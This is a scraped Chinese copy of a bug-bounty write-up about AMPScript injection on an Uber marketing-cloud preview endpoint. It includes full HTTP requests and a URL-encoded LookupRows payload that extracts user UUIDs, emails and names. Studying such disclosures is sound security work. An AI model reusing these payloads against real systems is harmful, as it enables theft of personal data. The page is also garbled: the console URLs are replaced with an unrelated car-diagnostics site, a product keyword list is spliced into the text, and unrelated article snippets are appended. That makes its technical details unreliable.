利用AMPScript获取Uber用户数据的访问权限
现代项目开发和资产管理方法正在不停地快速变化。在这场创新和扩张的竞赛中,新资产被迅速部署并暴露于公共互联网,已有资产也在不断发展。
要跟上这个不断变化的攻击面是很难的,更不用说保护这些应用程序和系统了。传统的基于时间点和静态的安全措施根本无法奏效,在这种动态环境中主动管理威胁似乎是一项不可能完成的任务。
解决这个问题的唯一方法是持续化的安全评估和资产感知。我们在用持续安全平台(Continuous Security Platform)监控大型攻击面时,经常发现由资产结构变更导致的新的或未发现的漏洞。
这就是我们的Assetnote持续安全平台在Uber漏洞赏金计划的一个子域名下发现的情况:exacttarget-web-hook.uber.com。
很长一段时间,子域名返回的是一个由Express.js Web服务器生成的普通且无聊的“Not Found”错误。
突然有一天,子域名返回了一个像是Uber消息个性化系统的内部测试响应:
Assetnote CS在https://iprog-programmer.chinaobd2.com/
乍一看,该应用程序看起来像一个用于测试文本消息的API控制台,该消息包含用户的个性化设置。
我们尝试根据提供的“测试contractKey”来利用API控制台,但失败了。经过一番调查后,我们断定这是因为contactKey参数必须是经过身份验证的帐户的UUID,而不是API控制台页面上提供的UUID。在登录后,我们从https://iprog-programmer.chinaobd2.com/的HTML源码中提取到了UUID。
在使用正确的Uber帐户的UUID填入contactKey参数后,我们能够发送API请求到preview接口:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://iprog-programmer.chinaobd2.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
本文前面所示的截图正是API控制台中preview接口返回的“消息”:
%%[ SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid) ]%% Hi there I'm %%=v(@firstName)=%% and I created this tool.
通过调查语法并联想到子域名为exacttarget-web-hook,我们意识到上面的代码实际上是AMPScript。
Salesforce的Marketing Cloud发明了AMPScript脚本语言,它可以嵌入到HTML邮件、文本邮件、登录页面和SMS消息中,以控制展示给个人消费者的内容。 AMPScript由ExactTarget开发,在2013年被Salesforce收购。
一开始使用API控制台中提供的示例AMPScript失败了,于是我们开始全面评估AMPScript的可用性。我们很快发现HTTPGet函数可以发送HTTP GET请求并得到响应内容:
运行AMPScript的查询语句:
%%=HTTPGet('https://ipinfo.io')=%%
很好!我们能够利用任意的AMPScript!但是,我们通过HTTPGet函数发起的请求并非Uber服务器产生的,如上图所示,它来自AS22606 ExactTarget,Inc。
为了演示该漏洞的影响,我们从名叫driver_partners的数据扩展中提取了用户数据。数据扩展是一种可以用AMPScript数据扩展函数访问的数据库表。
通过阅读有关LookupRows函数的AMPScript文档,我们可以写一个这样的AMPScript脚本:
- 在driver_partners数据扩展中搜索所有firstname等于Shubs的行。
- 将查询结果存储到数组中。
- 迭代访问数组并打印值。
最终的AMPScript如下:
%%[ SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs') SET @rCount = RowCount(@prefArray) FOR @i = 1 TO @rCount DO SET @Row = Row(@prefArray, @i) SET @ID = Field(@Row, 1) SET @UUID = Field(@Row, 2) SET @joinDate = Field(@Row, 3) SET @email = Field(@Row, 4) SET @firstName = Field(@Row, 5) ]%% %%=V(@UUID)=%% %%=V(@joinDate)=%% %%=V(@email)=%% %%=V(@firstName)=%% %%[ NEXT @i ]%%
当此AMPScript发送请求到preview接口后,响应中包含UUID、注册日期、邮箱地址以及名为Shubs的所有用户的名字。
对preview接口的HTTP请求如下:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://exacttarget-web-hook.uber.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
Vag COM , TCS CDP , VAS5054A , GM Tech2 , Iprog+ Programmer , Orange 5 programmer , SBB3 PRO3 Key Programmer , wiTech MicroPod II , T300+ Key Programmer, Iprog, Scania VCI3, mercedes star diagnostic, Porsche Piwis, vocom 88890300, Renault CAN Clip, SBB Key Programmer, NEXIQ USB Link
响应(UUID和邮箱地址已打码):
Uber返回的所有用户名叫‘Shubs’的数据
如上所示,返回了许多名为Shubs的用户的详细信息(我已修改截图仅展示测试帐户)。攻击者可以编写AMPScript来提取大量的数据,或者搜索Uber数据中名叫XXX的特定人,并提取他们的UUID和电子邮件地址。
利用AMPScript获取Uber用户数据的访问权限的更多相关文章
- Kubernetes RBAC授权普通用户对命名空间访问权限
Kubernetes RBAC授权普通用户对命名空间访问权限 官方文档:https://www.cnblogs.com/xiangsikai/p/11413970.html kind: Role ap ...
- 使用腾讯开发平台获取QQ用户数据资料
<今天是七夕:祝大家七夕嗨皮,前可么么哒,后可啪啪啪> Tips:本篇博客将教你如何使用腾讯开发平台获取QQ用户资料 ----------------------------------- ...
- Struts2 利用拦截器 interceptor 控制登陆和访问权限
最近学习了Struts2的登录和权限控制用到的是拦截器,需要在struts.xml中配置,每个action都默认的继承defaultStack,如果你用了别的拦截器,还需要手动引入defaultSta ...
- [App Store Connect帮助]二、 添加、编辑和删除用户(4)更改用户的 App 访问权限
您可以限制具有“App 管理”.“客户支持”.“开发者”.“营销”或“销售”职能的用户(均不具有“访问报告”职能)拥有哪些 App 的访问权限.如果您不更改他们的用户 App 访问权限,他们将默认拥有 ...
- SQL Server新增用户并控制访问权限设置。
新增用户: 一.进入数据库:[安全性]—>[登录名]—>[新建登录名] 二.在常规选项卡中.如图所示,创建登录名.注意设置默认的数据库. 三.在[用户映射]下设置该用户所能访问的数据库.并 ...
- 利用PHP连接数据库——实现用户数据的增删改查的整体操作实例
main页面(主页面) <table width="100%" border="1" cellpadding="0" cellspac ...
- springMVC+request.session实现用户登录和访问权限控制
用springmvc mybatis实现用户登录登出功能,使用session保持登录状态,并实现禁止未登录的用户访问.感谢谷歌资源,在这里做个学习记录加深自己的印象. 原文在我的https://my. ...
- sqlserver2012 用户指定数据库访问权限
这样 用户进入的时候 就只能访问指定数据库 点击其他 显示
- Android各种访问权限Permission详解
原文:http://jingyan.baidu.com/article/afd8f4de4688af34e386e976.html 在Android的设计中,资源的访问或者网络连接,要得到这些服务都需 ...
随机推荐
- SQL 概述
SQL是用于在数据库中存储,操作和检索数据的标准语言. 本教程教你如何使用SQL:MySQL,SQL Server,MS Access,Oracle,Sybase,Informix,Postgres和 ...
- OpenCV imread读取jpg图像的一个大坑
长话短说 版本区间[OpenCV3.0.0, OpenCV3.4.1]内的OpenCV,(至少在windows下,使用官方提供的预编译版本),imread读取jpg图片后的像素值,和版本区间[Open ...
- 经典合集 - WP8.1数据源
[内容说明:] 这里是一个页面类型的数据源,在开发WP应用程序中,因为目前没有数据库服务器等网络资源,突发奇想,通过博客园提供的WCF接口访问该博文地址获取文章内容,在应用程序中使用正则表达式解析并转 ...
- 在macOS下使用MAXPP搭建本地开发服务器简易流程
本文适用于解决前端开发时所需的服务器支持,包括文件上传和下载.在开发环境中需要保持尽量的开放,并不是安全的.根据浏览器安全协议,所下载的开源项目是不能直接在file中直接打开的,需要把文件放置在服务器 ...
- HTML转义字符&npsp;表示non-breaking space,unicode编码为u'\xa0',超出gbk编码范围?
0.目录 1.参考2.问题定位不间断空格的unicode表示为 u\xa0',超出gbk编码范围?3.如何处理.extract_first().replace(u'\xa0', u' ').strip ...
- day14.生成器进阶,推导式
生成器中取值的三种方法 方法1:next() 方法2:for 循环 方法3:数据类型的强制转换 def func(): for i in range(20): yield '赛车*{}'.format ...
- 微服务化不同阶段 Kubernetes 的不同玩法
本文由 网易云发布. 作为容器集群管理技术竞争的大赢家,Kubernetes 已经和微服务紧密联系,采用 Kubernetes 的企业往往都开始了微服务架构的探索.然而不同企业不同阶段的微服务实践面 ...
- Servlet(三):生命周期、常用方法、常见错误
Servlet的生命周期:从第一次调用,到服务器关闭.如果在web.xml 中配置了load-on-startup则是从服务器开启到服务器关闭. 注意: * init方法是对Servlet进行初始化的 ...
- Android项目中的config.xml文件 “config.xml”
Android应用程序需要保存一些配置时,可以将这些配置项放置到values/config.xml文件中. 实例分析: <?xml version="1.0" encodin ...
- day10_friest_自动化
一.知识回顾, 1.构造函数:def __del__(self)是类执行完后,需要将某些如连接等关闭,可将关闭代码写在该函数中,既是实例被销毁的时候执行 2.私有寒素:def __say(self)表 ...